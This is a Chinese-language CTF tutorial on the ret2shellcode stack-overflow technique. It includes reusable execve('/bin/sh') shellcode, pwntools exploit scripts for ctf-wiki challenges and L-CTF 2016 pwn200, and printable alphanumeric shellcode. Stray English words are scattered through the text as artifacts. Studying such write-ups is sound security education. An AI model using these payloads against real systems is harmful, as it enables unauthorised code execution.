Ret2ShellCode

红颜祸 千般柔情 相思难解两相若
蝶恋花 几经浮沉 枯骨终是化飞沙python

简介

ret2shellcode顾名思义,就是return to shellcode,即让程序中某个函数执行结束后,返回到shellcode的地址去执行shellcode,获得system(sh)的效果;ret2shellcode是栈溢出中一种简单并且常规的操做,当配合ROP等技术的使用后,很是有用git


利用条件

ret2shellcode的局限性在于,咱们存放shellcode的这个地址内存页是标识为可执行,即一般状况下咱们checksec程序是NX保护就关闭的,不然当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令
经常使用的shellcode有:github

shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

这个shellcode只有23个字节,短小精悍,适合放在栈中去执行
还有一种是经过pwntools生成:web

from pwn import *
shellcode=asm(shellcraft.sh())

这个shellcode是44个字节;固然若是能力够,也能够本身去写shell


实例1

ctf-wiki里面的两道:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/ret2shellcode
先看第一道ret2shellcode.c源码:bash

#include <stdio.h>
#include <string.h>

char buf2[100];

int main(void)
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);

    char buf[100];

    printf("No system for you this time !!!\n");
    gets(buf); //这里明显有溢出点
    strncpy(buf2, buf, 100);
    printf("bye bye ~");

    return 0;
}

先看看程序的保护机制开了什么:svg

root@sir-PC:/ret2shellcode-example# checksec ret2shellcode
[*] '/ret2shellcode-example/ret2shellcode'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

显然NX保护是关闭的,而源码中能够看到有一个长度为100的buf2,又由于PIE保护仍是没有开,因此咱们只须要找到溢出的字节和buf2的地址,而后将shellcode放在buf2中,而后将返回地址修改成buf2的地址就好了,须要注意的是这里buf2是全局变量,在bss段的位置上;函数


EXP1

from pwn import *
p = process('./ret2shellcode')
context.log_level = 'debug' 
buf2_addr = 0x804a080
if args.G:
    gdb.attach(p)
shellcode=asm(shellcraft.sh())
x = shellcode.ljust(112,'a')
p.recvuntil('No system for you this time !!!\n')
p.sendline(x + p32(buf2_addr))
p.interactive()

实例2

再看第二道shellcode.c源码:ui

#include <stdio.h>
#include <unistd.h>

int main(){
    char buffer[0x10] = {0};
    setvbuf(stdout, NULL, _IOLBF, 0);
    printf("Welcome to Sniperoj!\n");
    printf("Do your kown what is it : [%p] ?\n", buffer);
    printf("Now give me your answer : \n");
    read(0, buffer, 0x40); //这里一样有溢出
    return 0;
}

须要注意的是这里的buffer只有16个字节,并且属于局部变量,在栈的位置上
查看程序的保护机制:this

root@sir-PC:/sniperoj-pwn100-shellcode-x86-64# checksec shellcode
[*] '/sniperoj-pwn100-shellcode-x86-64/shellcode'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

这里一样没有开NX保护,可是开了PIE,不过这个PIE开不开都没影响,由于程序中打印出了buffer在栈的地址了
经过ida查看:

__int64 buf; // [sp+0h] [bp-10h]@1
  read(0, &buf, 0x40uLL);

能够知道buf相对于ebp的偏移为0x10,因此其可用的shellcode空间为16+8=24字节,咱们有长度为23的shellcode,可是由于其自己是有push指令的,若是咱们把shellcode放在返回地址的前面,在程序leave的时候会破坏shellcode,因此咱们将其放在后面,即payload为:

'b'*24+[buf_addr+32]+shellcode

这里的32是24字节的填充数据长度加返回地址长度


EXP2

from pwn import *
p = process('./shellcode')
context.log_level = 'debug' 
p.recvuntil('[')
buf_addr = p.recvuntil(']', drop=True)
print buf_addr
p.recvuntil('Now give me your answer')
shell="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.sendline('a'*24 + p64(int(buf_addr,16)+32) + shell)
p.interactive()

小结

放shellcode的地址必定要已知而且有执行的权限,注意不要在运行的过程当中破坏了shellcode

L-CTF 2016 pwn200

from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
name = './pwn200'
p = process(name)

if args.G:
    gdb.attach(p)

p.recvuntil("who are u?\n")
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
shellcode += (44-len(shellcode))*'a' + 'b'*4
p.send(shellcode)
p.recvuntil("bbbb")
ebp_addr = u64(p.recv(6)+'\x00\x00')
success("ebp_addr: " + hex(ebp_addr))

p.recvuntil("give me your id ~~?\n")
p.sendline("64")
p.recvuntil("give me money~\n")
payload = p64(ebp_addr-0x50) 
payload += (56-len(payload))*'a' + p64(0x602060)
p.send(payload)

p.recvuntil('your choice : ')
p.sendline("1")
p.interactive()

可打印字符shellcode

32位

PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJ4K68J90RCXVO6O43E82HVOE2SYBNMYKS01XIHMMPAA

ShellCode开始执行那一刻,EAX寄存器保存了ShellCode的基地址:

PYVTX10X41PZ41H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE1D485C3E1YKM6L7L0 60Y011T2OKO2B5NJO90MM9M3I00

64位

PPTAYAXVI31VXXXf-cof-@Hf-@HPZTAYAXVI31VXPP[_Hc4:14:SX-@(t3-P `_58</_P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-q;@A-pE A5Wp09P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-$Ht -_`l 5O_W6P^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@"3@-A`  5{G/XP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-@&Fa-P" A5x4_MP^14:WX-~[w_-?ah,-?C tP_Hc4:14:SX-  " - @~@5E_*wP^14:WX-~[w_-?ah,-?C tP_SX- H#B- x^~5X>~?P_Hc4:14:SX-"*  -E6  5f}//P^14:WX-~[w_-?ah,-?C tP_SX- A""- ?~~5\~__P^SX-@@@"-y``~5____P_AAAAA5SWZ%%.H>#dmn+sATbRLad:hFTHKcL5Acy\4:y1vI6: O:;<;wb['2 @p}Y;\tc